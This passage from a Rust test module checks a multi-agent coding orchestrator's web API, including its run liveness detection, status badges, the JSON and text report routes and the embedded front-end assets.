18493                value["schema"] = serde_json::json!(schema);
18494                value.as_object_mut().unwrap().remove("origin");
18495            }
18496            let dir = f.runs().join(id);
18497            std::fs::create_dir_all(&dir).expect("run dir");
18498            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18499        };
18500        write(
18501            "20260930-092817-ec34",
18502            Some(crate::run::Origin::from_agent_env(
18503                Some(("4a7b".to_owned(), "chat".to_owned())),
18504                None,
18505            )),
18506            None,
18507        );
18508        write("20260930-092817-0ld1", None, Some(12));
18509
18510        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18511        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18512        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18513
18514        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18515        assert_eq!(
18516            old["origin_label"], "origin unknown (started before origins were recorded)",
18517            "{old}"
18518        );
18519        assert!(old["origin"].is_null(), "{old}");
18520
18521        let list = f.get("/api/runs").await.json();
18522        let labels: Vec<_> = list
18523            .as_array()
18524            .unwrap()
18525            .iter()
18526            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18527            .collect();
18528        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18529    }
18530
18531    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18532    /// review` claims no daemon at all, so before this field existed the
18533    /// route above read it as `"dead"` — indistinguishable from a run a
18534    /// killed process abandoned — the whole time it was genuinely still
18535    /// answering. With a live pid recorded, it must read `"live"` even
18536    /// though no daemon claims it.
18537    #[tokio::test]
18538    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18539        let f = Fixture::start().await;
18540        let id = "20260922-090000-cccc";
18541        let mut state = RunState::new(
18542            PathBuf::from("/repo/magi"),
18543            "main".to_owned(),
18544            "0123456789abcdef".to_owned(),
18545            "Review only".to_owned(),
18546            Config::default(),
18547        );
18548        state.id = id.to_owned();
18549        state.status = RunStatus::Reviewing;
18550        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18551        // This test process's own pid: guaranteed alive, and never needs a
18552        // real daemon or a second process to prove it. The matching start-time
18553        // marker is what `liveness` now requires alongside a live pid — see
18554        // `RunState::driver_started_at`'s own doc for why the pid alone is
18555        // not enough.
18556        state.driver_pid = Some(std::process::id());
18557        state.driver_started_at = Some(
18558            crate::proc::process_started_at(std::process::id())
18559                .expect("this test process's own start time must be queryable"),
18560        );
18561        let dir = f.runs().join(id);
18562        std::fs::create_dir_all(&dir).expect("run dir");
18563        std::fs::write(
18564            dir.join("run.json"),
18565            serde_json::to_string_pretty(&state).expect("serialize run"),
18566        )
18567        .expect("write run.json");
18568
18569        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18570        assert_eq!(detail["live"], "live", "{detail}");
18571    }
18572
18573    /// A killed manual run's pid can be handed to a wholly unrelated later
18574    /// process — a live query on `driver_pid` alone would read this as
18575    /// `"live"`, exactly the false positive `driver_started_at` exists to
18576    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18577    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18578    #[tokio::test]
18579    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18580        let f = Fixture::start().await;
18581        let id = "20260922-090100-dddd";
18582        let mut state = RunState::new(
18583            PathBuf::from("/repo/magi"),
18584            "main".to_owned(),
18585            "0123456789abcdef".to_owned(),
18586            "Review only".to_owned(),
18587            Config::default(),
18588        );
18589        state.id = id.to_owned();
18590        state.status = RunStatus::Reviewing;
18591        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18592        // This test process's own pid really is alive, but the marker
18593        // recorded here does not match what it actually started at —
18594        // standing in for the pid having since been reused by a different
18595        // process than the one that wrote `run.json`.
18596        state.driver_pid = Some(std::process::id());
18597        state.driver_started_at = Some("1".to_owned());
18598        let dir = f.runs().join(id);
18599        std::fs::create_dir_all(&dir).expect("run dir");
18600        std::fs::write(
18601            dir.join("run.json"),
18602            serde_json::to_string_pretty(&state).expect("serialize run"),
18603        )
18604        .expect("write run.json");
18605
18606        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18607        assert_eq!(detail["live"], "dead", "{detail}");
18608    }
18609
18610    /// The deck's competition list is normally the first place an operator
18611    /// sees an old run. It must carry the same process verdict as detail, or
18612    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18613    #[test]
18614    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18615        let mk = |id: &str, pid: Option<u32>| {
18616            let mut s = RunState::new(
18617                PathBuf::from("/repo/magi"),
18618                "main".to_owned(),
18619                "0123456789abcdef".to_owned(),
18620                "Add a web UI".to_owned(),
18621                Config::default(),
18622            );
18623            s.id = id.to_owned();
18624            s.driver_pid = pid;
18625            s.driver_started_at = Some("1790000000".to_owned());
18626            s
18627        };
18628        let states = vec![
18629            mk("20260902-140502-aaaa", Some(77)),
18630            mk("20260902-140502-bbbb", Some(77)),
18631            mk("20260902-140502-cccc", Some(77)),
18632            mk("20260902-140502-dddd", None),
18633        ];
18634        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18635        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18636        let sup: HashMap<String, String> = [(
18637            "20260902-140502-aaaa".to_owned(),
18638            "20260902-140502-cccc".to_owned(),
18639        )]
18640        .into();
18641
18642        let status_calls = std::cell::Cell::new(0);
18643        let identity_calls = std::cell::Cell::new(0);
18644        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
18645            |_| {
18646                status_calls.set(status_calls.get() + 1);
18647                Some(true)
18648            },
18649            |_| {
18650                identity_calls.set(identity_calls.get() + 1);
18651                Some("1790000000".to_owned())
18652            },
18653        ));
18654        let rows = summarize(
18655            states,
18656            &open,
18657            &claimed,
18658            &sup,
18659            |p| probe.borrow_mut().status(p),
18660            |p| probe.borrow_mut().started_at(p),
18661        );
18662
18663        assert_eq!(status_calls.get(), 1, "one pid, one status query");
18664        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
18665        assert_eq!(rows.len(), 4);
18666        assert!(!rows[0].waiting && rows[1].waiting);
18667        assert_eq!(rows[0].live, crate::run::Liveness::Live);
18668        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
18669        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
18670        assert_eq!(rows[1].superseded_by, None);
18671    }
18672
18673    #[test]
18674    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
18675        let mut state = RunState::new(
18676            PathBuf::from("/repo/magi"),
18677            "main".to_owned(),
18678            "0123456789abcdef".to_owned(),
18679            "Review only".to_owned(),
18680            Config::default(),
18681        );
18682        state.id = "20260922-090200-dead".to_owned();
18683        state.status = RunStatus::Reviewing;
18684        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
18685            .expect("serialize list row");
18686        assert_eq!(row["status"], "reviewing");
18687        assert_eq!(row["display_status"], "stale");
18688        assert_eq!(row["live"], "dead", "{row}");
18689        assert!(!row["done"].as_bool().unwrap());
18690    }
18691
18692    #[test]
18693    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
18694        use crate::run::Liveness::{Dead, Live, Unknown};
18695        let mut state = RunState::new(
18696            PathBuf::from("/repo/magi"),
18697            "main".to_owned(),
18698            "abc".to_owned(),
18699            "Review only".to_owned(),
18700            Config::default(),
18701        );
18702        for (status, parked, node, waiting, live, expected) in [
18703            (
18704                RunStatus::Judging,
18705                true,
18706                "github-text",
18707                false,
18708                Dead,
18709                "parked",
18710            ),
18711            (RunStatus::Judging, false, "park", false, Dead, "stale"),
18712            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
18713            (
18714                RunStatus::Judging,
18715                true,
18716                "github-text",
18717                true,
18718                Dead,
18719                "waiting",
18720            ),
18721            (
18722                RunStatus::Judging,
18723                false,
18724                "github-text",
18725                true,
18726                Dead,
18727                "waiting",
18728            ),
18729            (
18730                RunStatus::Judging,
18731                false,
18732                "github-text",
18733                false,
18734                Dead,
18735                "stale",
18736            ),
18737            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
18738            (RunStatus::Judging, true, "park", false, Live, "judging"),
18739            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
18740            (RunStatus::Merged, true, "park", false, Dead, "merged"),
18741            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
18742            (
18743                RunStatus::Blocked,
18744                true,
18745                "github-text",
18746                true,
18747                Dead,
18748                "waiting",
18749            ),
18750        ] {
18751            state.status = status;
18752            state.parked = parked;
18753            state.events.clear();
18754            state.event(
18755                "park",
18756                "an earlier park does not determine the latest state",
18757            );
18758            state.event(node, "message is not used for classification");
18759            let summary = RunSummary::of(&state, waiting, live);
18760            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
18761            assert_eq!(
18762                summary.display_status, expected,
18763                "{status:?}/{node}/{live:?}"
18764            );
18765            assert_eq!(detail.display_status, summary.display_status);
18766            assert_eq!(detail.waiting, summary.waiting);
18767        }
18768        state.status = RunStatus::Judging;
18769        state.parked = false;
18770        state.events.clear();
18771        assert_eq!(run_display_status(&state, false, Dead), "stale");
18772    }
18773
18774    #[test]
18775    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
18776        use crate::run::Liveness::{Dead, Live, Unknown};
18777        let mut state = RunState::new(
18778            PathBuf::from("/repo/magi"),
18779            "main".to_owned(),
18780            "abc".to_owned(),
18781            "Badge".to_owned(),
18782            Config::default(),
18783        );
18784        for (status, waiting, live, superseded, expected) in [
18785            (RunStatus::Gating, false, Dead, false, "stale"),
18786            (RunStatus::Gating, false, Dead, true, "superseded"),
18787            (RunStatus::Gating, false, Unknown, true, "superseded"),
18788            (RunStatus::Gating, true, Dead, true, "superseded"),
18789            (RunStatus::Gating, true, Dead, false, "waiting"),
18790            (RunStatus::Gating, false, Unknown, false, "gating"),
18791            (RunStatus::Gating, false, Live, true, "gating"),
18792            (RunStatus::Gating, true, Live, true, "waiting"),
18793            (RunStatus::Merged, false, Dead, true, "merged"),
18794            (RunStatus::Blocked, false, Dead, true, "blocked"),
18795        ] {
18796            state.status = status;
18797            let display = run_display_status(&state, waiting, live);
18798            assert_eq!(
18799                run_badge_status(&state, &display, live, superseded),
18800                expected,
18801                "{status:?}/{live:?}/superseded={superseded}"
18802            );
18803        }
18804    }
18805
18806    #[test]
18807    fn summarize_and_detail_expose_badge_status() {
18808        use crate::run::Liveness::Dead;
18809        let mut state = RunState::new(
18810            PathBuf::from("/repo/magi"),
18811            "main".to_owned(),
18812            "abc".to_owned(),
18813            "Badge".to_owned(),
18814            Config::default(),
18815        );
18816        state.status = RunStatus::Gating;
18817        let none = HashSet::new();
18818        let id = state.id.clone();
18819        let mut by = HashMap::new();
18820        let rows = summarize(
18821            [state.clone()],
18822            &none,
18823            &none,
18824            &by,
18825            |_| Some(false),
18826            |_| None,
18827        );
18828        // No driver recorded: liveness is not provably dead, so the node stays.
18829        assert_eq!(rows[0].badge_status, rows[0].display_status);
18830        by.insert(id, "20260901-000000-913b".to_owned());
18831        let detail = RunDetailView::of(
18832            state.clone(),
18833            false,
18834            Dead,
18835            Some("913b".to_owned()),
18836            None,
18837            None,
18838        );
18839        assert_eq!(detail.badge_status, "superseded");
18840        let json = serde_json::to_value(&detail).unwrap();
18841        assert_eq!(json["badge_status"], "superseded");
18842        let detail = RunDetailView::of(state, false, Dead, None, None, None);
18843        assert_eq!(detail.badge_status, "stale");
18844    }
18845
18846    #[tokio::test]
18847    async fn run_display_status_routes_share_the_open_question_store() {
18848        let f = Fixture::start().await;
18849        let id = "20260922-090200-abcd";
18850        write_run(&f.runs(), id, RunStatus::Judging);
18851        let mut state = read_run(&f.runs(), id).unwrap();
18852        state.parked = true;
18853        state.driver_exited = true;
18854        state.event("github-text", "waiting for the owner");
18855        state.save_under(f.home.path()).unwrap();
18856        let mut task = Task::new(
18857            "resumed task".to_owned(),
18858            "do it".to_owned(),
18859            PathBuf::from("/repo"),
18860            Source::Human,
18861        );
18862        task.runs = vec![id.to_owned(), id.to_owned()];
18863        f.queue().put(&mut task).unwrap();
18864        let store = f.questions();
18865        let mut q = Question::new(
18866            id.to_owned(),
18867            "github-text".to_owned(),
18868            "owner".to_owned(),
18869            "Approve the text?".to_owned(),
18870            String::new(),
18871            Vec::new(),
18872        );
18873        store.put(&mut q).unwrap();
18874        for expected in ["waiting", "parked"] {
18875            let list = f.get("/api/runs").await.json();
18876            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18877            assert_eq!(list[0]["display_status"], expected);
18878            assert_eq!(detail["display_status"], expected);
18879            assert_eq!(detail["waiting"], list[0]["waiting"]);
18880            assert_eq!(list[0]["badge_status"], expected);
18881            assert_eq!(detail["badge_status"], expected);
18882            assert!(list[0]["superseded_by"].is_null());
18883            assert!(detail["superseded_by"].is_null());
18884            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18885            let history = task_detail["history"].as_array().unwrap();
18886            assert_eq!(history.len(), 2);
18887            assert!(history[0]["badge"].is_null());
18888            assert_eq!(history[1]["badge"], expected);
18889            q.status = ask::QuestionStatus::Answered;
18890            store.put(&mut q).unwrap();
18891        }
18892    }
18893
18894    #[tokio::test]
18895    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18896        let f = Fixture::start().await;
18897        let id = "20260922-090200-abcd";
18898        write_run(&f.runs(), id, RunStatus::Judging);
18899        let mut state = read_run(&f.runs(), id).unwrap();
18900        state.parked = true;
18901        state.driver_exited = true;
18902        state.event("park", "stopped at a node boundary");
18903        state.save_under(f.home.path()).unwrap();
18904
18905        for expected in ["parked", "stale"] {
18906            let list = f.get("/api/runs").await.json();
18907            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18908            assert_eq!(list[0]["live"], "dead");
18909            assert_eq!(list[0]["display_status"], expected);
18910            assert_eq!(detail["display_status"], expected);
18911            // Model a driver claim followed by a crash before the next event:
18912            // the persisted flag changes, but the last event is still park.
18913            state.parked = false;
18914            state.save_under(f.home.path()).unwrap();
18915        }
18916    }
18917
18918    #[tokio::test]
18919    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18920        let f = Fixture::start().await;
18921        for id in [
18922            "20260902-140501-aaaa",
18923            "20260902-140502-bbbb",
18924            "20260902-140503-cccc",
18925        ] {
18926            write_run(&f.runs(), id, RunStatus::Merged);
18927        }
18928
18929        let all = f.get("/api/runs").await.json();
18930        let capped = f.get("/api/runs?limit=2").await.json();
18931
18932        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18933        assert_eq!(all.as_array().map(Vec::len), Some(3));
18934        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18935        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18936    }
18937
18938    #[tokio::test]
18939    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18940        let f = Fixture::start().await;
18941        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18942
18943        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18944
18945        assert_eq!(res.status, 200);
18946        assert!(
18947            res.headers
18948                .contains("content-type: text/plain; charset=utf-8"),
18949            "a browser must render it, not download it: {}",
18950            res.headers
18951        );
18952        // The assertion is on content, not on the absence of escapes: colour
18953        // is a process-global that `serve` turns off at startup, and another
18954        // test in this binary may own it while this one runs.
18955        assert!(
18956            res.body.contains("20260902-140501-a1b2"),
18957            "the report is about the run that was asked for: {}",
18958            res.body
18959        );
18960    }
18961
18962    #[tokio::test]
18963    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18964        // The view names the run's state directory, which reads the process-global home.
18965        crate::run::pin_test_home();
18966        let f = Fixture::start().await;
18967        let id = "20260902-140501-a1b2";
18968        write_run(&f.runs(), id, RunStatus::Stalled);
18969        // A stalled panel and one review round, written through the real
18970        // state file so the route reads what a run really leaves behind.
18971        let path = f.runs().join(id).join("run.json");
18972        let mut v: serde_json::Value =
18973            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18974        v["tally"] = serde_json::json!({
18975            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18976            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18977            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18978            "met_quorum": false, "rankings": 1
18979        });
18980        v["reviews"] = serde_json::json!([{
18981            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18982            "e2e_deferred": true,
18983            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18984                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18985            ]}]
18986        }]);
18987        std::fs::write(&path, v.to_string()).unwrap();
18988        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18989        std::fs::write(
18990            f.runs().join("20260902-140502-dead").join("run.json"),
18991            "{not json",
18992        )
18993        .unwrap();
18994
18995        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18996
18997        assert_eq!(res.status, 200, "{}", res.body);
18998        assert!(res.headers.contains("content-type: application/json"));
18999        let j = res.json();
19000        assert_eq!(j["schema"], 1);
19001        assert_eq!(j["header"]["id"], id);
19002        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19003        let kinds: Vec<&str> = j["sections"]
19004            .as_array()
19005            .unwrap()
19006            .iter()
19007            .map(|s| s["kind"].as_str().unwrap())
19008            .collect();
19009        assert_eq!(kinds, ["candidates", "tally", "review"]);
19010        let tally = &j["sections"][1]["tally"];
19011        assert_eq!(
19012            (tally["decided"].clone(), tally["provisional"].clone()),
19013            (false.into(), true.into())
19014        );
19015        let round = &j["sections"][2]["rounds"][0];
19016        assert_eq!(round["e2e"]["state"], "deferred");
19017        assert_eq!(round["findings"][0]["severity"], "major");
19018        assert_eq!(round["findings"][0]["blocking"], true);
19019        assert_eq!(round["findings"][0]["state"], "open");
19020
19021        // The raw route keeps working beside it.
19022        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19023
19024        // An unreadable run is an error, as on the text route, and is counted.
19025        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19026        assert_ne!(bad.status, 200, "{}", bad.body);
19027        assert_eq!(
19028            bad.status,
19029            f.get("/api/runs/20260902-140502-dead/report").await.status
19030        );
19031        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19032        assert_eq!(
19033            f.get("/api/runs/20260902-999999-ffff/report.json")
19034                .await
19035                .status,
19036            404
19037        );
19038    }
19039
19040    #[tokio::test]
19041    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19042        crate::run::pin_test_home();
19043        let f = Fixture::start().await;
19044        let id = "20260902-140503-delib";
19045        write_run(&f.runs(), id, RunStatus::Merged);
19046        let path = f.runs().join(id).join("run.json");
19047        let mut v: serde_json::Value =
19048            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19049        v["judgements"] = serde_json::json!([
19050            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19051        ]);
19052        v["tally"] = serde_json::json!({
19053            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19054            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19055            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19056            "met_quorum": true, "rankings": 1
19057        });
19058        v["deliberation"] = serde_json::json!([
19059            {
19060                "round": 1,
19061                "turns": [
19062                    {
19063                        "judge": 1,
19064                        "agent": "judge-1",
19065                        "body": "I prefer candidate **A** because it has cleaner tests.",
19066                        "tentative": "A"
19067                    }
19068                ]
19069            },
19070            {
19071                "round": 2,
19072                "turns": [
19073                    {
19074                        "judge": 1,
19075                        "agent": "judge-1",
19076                        "body": "Still thinking, no choice yet.",
19077                        "tentative": null
19078                    }
19079                ]
19080            }
19081        ]);
19082        std::fs::write(&path, v.to_string()).unwrap();
19083
19084        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19085        assert_eq!(res.status, 200, "{}", res.body);
19086        let j = res.json();
19087        let judging = j["sections"]
19088            .as_array()
19089            .unwrap()
19090            .iter()
19091            .find(|s| s["kind"] == "judging")
19092            .expect("judging section exists");
19093
19094        // Existing summary lines remain intact
19095        let delib_lines = judging["deliberation"].as_array().unwrap();
19096        assert_eq!(delib_lines.len(), 2);
19097        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19098        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19099
19100        // rounds carry turn bodies, tentative and parsed body_md
19101        let rounds = judging["rounds"].as_array().unwrap();
19102        assert_eq!(rounds.len(), 2);
19103        let r1_t0 = &rounds[0]["turns"][0];
19104        assert_eq!(r1_t0["judge"], 1);
19105        assert_eq!(r1_t0["agent"], "judge-1");
19106        assert_eq!(r1_t0["tentative"], "A");
19107        assert_eq!(
19108            r1_t0["body"],
19109            "I prefer candidate **A** because it has cleaner tests."
19110        );
19111        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19112
19113        let r2_t0 = &rounds[1]["turns"][0];
19114        assert_eq!(r2_t0["judge"], 1);
19115        assert_eq!(r2_t0["agent"], "judge-1");
19116        assert!(r2_t0["tentative"].is_null());
19117        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19118        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19119
19120        // A run with empty deliberation array yields empty rounds
19121        let id_empty = "20260902-140504-nodelib";
19122        write_run(&f.runs(), id_empty, RunStatus::Merged);
19123        let path_empty = f.runs().join(id_empty).join("run.json");
19124        let mut v_empty: serde_json::Value =
19125            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19126        v_empty["judgements"] = serde_json::json!([
19127            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19128        ]);
19129        v_empty["deliberation"] = serde_json::json!([]);
19130        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19131
19132        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19133        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19134        let j_empty = res_empty.json();
19135        let judging_empty = j_empty["sections"]
19136            .as_array()
19137            .unwrap()
19138            .iter()
19139            .find(|s| s["kind"] == "judging")
19140            .expect("judging section exists");
19141        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19142    }
19143
19144    #[tokio::test]
19145    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19146        let f = Fixture::start().await;
19147
19148        let html = f.get("/").await;
19149        let css = f.get("/app.css").await;
19150        let js = f.get("/app.js").await;
19151
19152        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19153        assert!(
19154            html.headers
19155                .contains("content-type: text/html; charset=utf-8")
19156        );
19157        assert!(css.headers.contains("content-type: text/css"));
19158        assert!(js.headers.contains("content-type: text/javascript"));
19159        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19160    }
19161
19162    #[test]
19163    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19164        let body = |name: &str| {
19165            let at = APP_JS
19166                .find(name)
19167                .unwrap_or_else(|| panic!("{name} missing"));
19168            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19169        };
19170        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19171        let note = body("function landRoundNote");
19172        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19173        assert!(note.contains("Land round ${round}"));
19174        let land = body("function renderLand");
19175        let note_at = land
19176            .find("landRoundNote(pr)")
19177            .expect("renderLand uses the note");
19178        assert!(
19179            note_at
19180                < land
19181                    .find("roundRail(pr)")
19182                    .expect("renderLand uses the rail")
19183        );
19184    }
19185
19186    #[test]
19187    fn the_runs_page_redesign_keeps_its_guards() {
19188        let body = |name: &str| {
19189            let at = APP_JS
19190                .find(name)
19191                .unwrap_or_else(|| panic!("{name} missing"));
19192            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19193        };
19194        // A null child must never reach the native append (it prints "null").
19195        let land = body("function renderLand");
19196        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19197        assert!(
19198            !land.contains("box.append("),
19199            "renderLand must use append()"
19200        );
19201        assert!(land.contains("append(box, ["));
19202        // Tabs are hash routes; the run id alone decides a reload.
19203        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19204        assert!(
19205            body("function applyRoute")
19206                .contains("route.name !== state.route.name || route.id !== state.route.id")
19207        );
19208        // The decorative diagram is gone, the strip and its guards stay.
19209        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19210        assert!(!INDEX_HTML.contains("advise-converge"));
19211        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19212        assert!(APP_JS.contains("provisional"));
19213        for id in [
19214            "run-tab-overview",
19215            "run-tab-timeline",
19216            "run-tab-report",
19217            "run-report",
19218            "runs-scope",
19219        ] {
19220            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19221        }
19222        assert!(!INDEX_HTML.contains("runs-tree"));
19223        assert!(!INDEX_HTML.contains("run-raw-panel"));
19224        // Fold still says it cannot be resumed.
19225        assert!(APP_JS.contains("resume"));
19226        // The unreadable-runs count stays on the page.
19227        assert!(APP_JS.contains("unreadable"));
19228    }
19229
19230    #[test]
19231    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19232        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19233        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19234        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19235        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19236        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19237        // The subtitle still counts them whatever the banner does.
19238        assert!(APP_JS.contains("unreadable` : null"));
19239    }
19240
19241    #[test]
19242    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19243        let mut state = RunState::new(
19244            "/repo".into(),
19245            "main".into(),
19246            "abc".into(),
19247            "task".into(),
19248            crate::config::Config::default(),
19249        );
19250        state.status = RunStatus::Blocked;
19251        state.gate_ran = true;
19252        state.gate.push(crate::run::CommandOutcome {
19253            command: "cargo make check".into(),
19254            code: Some(1),
19255            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19256            duration_ms: 0,
19257            resource_blocked: false,
19258        });
19259        let view = RunDetailView::of(
19260            state,
19261            false,
19262            crate::run::Liveness::Unknown,
19263            None,
19264            None,
19265            None,
19266        );
19267        let value = serde_json::to_value(view).unwrap();
19268        assert_eq!(
19269            value["stop_reason"],
19270            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19271        );
19272    }
19273
19274    #[test]
19275    fn the_run_detail_payload_says_whether_the_run_is_done() {
19276        // `landView` reads `run.done`; the detail response must carry it.
19277        for (status, done) in [
19278            (RunStatus::Superseded, true),
19279            (RunStatus::Blocked, true),
19280            (RunStatus::Landing, false),
19281        ] {
19282            let mut state = RunState::new(
19283                std::path::PathBuf::from("/repo"),
19284                "main".to_owned(),
19285                "abc".to_owned(),
19286                "x".to_owned(),
19287                crate::config::Config::default(),
19288            );
19289            state.status = status;
19290            let v = serde_json::to_value(RunDetailView::of(
19291                state,
19292                false,
19293                crate::run::Liveness::Unknown,
19294                None,
19295                None,
19296                None,
19297            ))
19298            .unwrap();
19299            assert_eq!(v["done"], done, "{status:?}");
19300        }
19301    }
19302
19303    /// The first node of a markdown block holds a `strong` somewhere.
19304    fn has_strong(nodes: &[md::Node]) -> bool {
19305        serde_json::to_string(nodes).unwrap().contains("strong")
19306    }
19307
19308    #[test]
19309    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19310        let mut state = RunState::new(
19311            std::path::PathBuf::from("/repo"),
19312            "main".to_owned(),
19313            "abc".to_owned(),
19314            "x".to_owned(),
19315            crate::config::Config::default(),
19316        );
19317        let proposal = |approach: &str| {
19318            serde_json::json!({
19319                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19320            })
19321        };
19322        state.advice = Some(
19323            serde_json::from_value(serde_json::json!({
19324                "records": [
19325                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19326                     "proposal": proposal("do **this**")},
19327                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19328                ],
19329                "synthesis": "- one\n- **two**\n\n`code`",
19330            }))
19331            .unwrap(),
19332        );
19333        state.candidates = serde_json::from_value(serde_json::json!([
19334            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19335             "summary": "did **it**"},
19336            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19337        ]))
19338        .unwrap();
19339        // Recorded in ascending severity, the reverse of how the page sorts
19340        // them: the arrays must follow the record, not the display.
19341        state.reviews = serde_json::from_value(serde_json::json!([{
19342            "round": 1, "head": "h",
19343            "reviews": [{
19344                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19345                "findings": [
19346                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19347                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19348                ],
19349            }],
19350            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19351            "fix": {"agent": "a", "notes": "fixed **it**",
19352                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19353        }, {"round": 2, "head": "h2", "reviews": []}]))
19354        .unwrap();
19355
19356        let v = serde_json::to_value(RunDetailView::of(
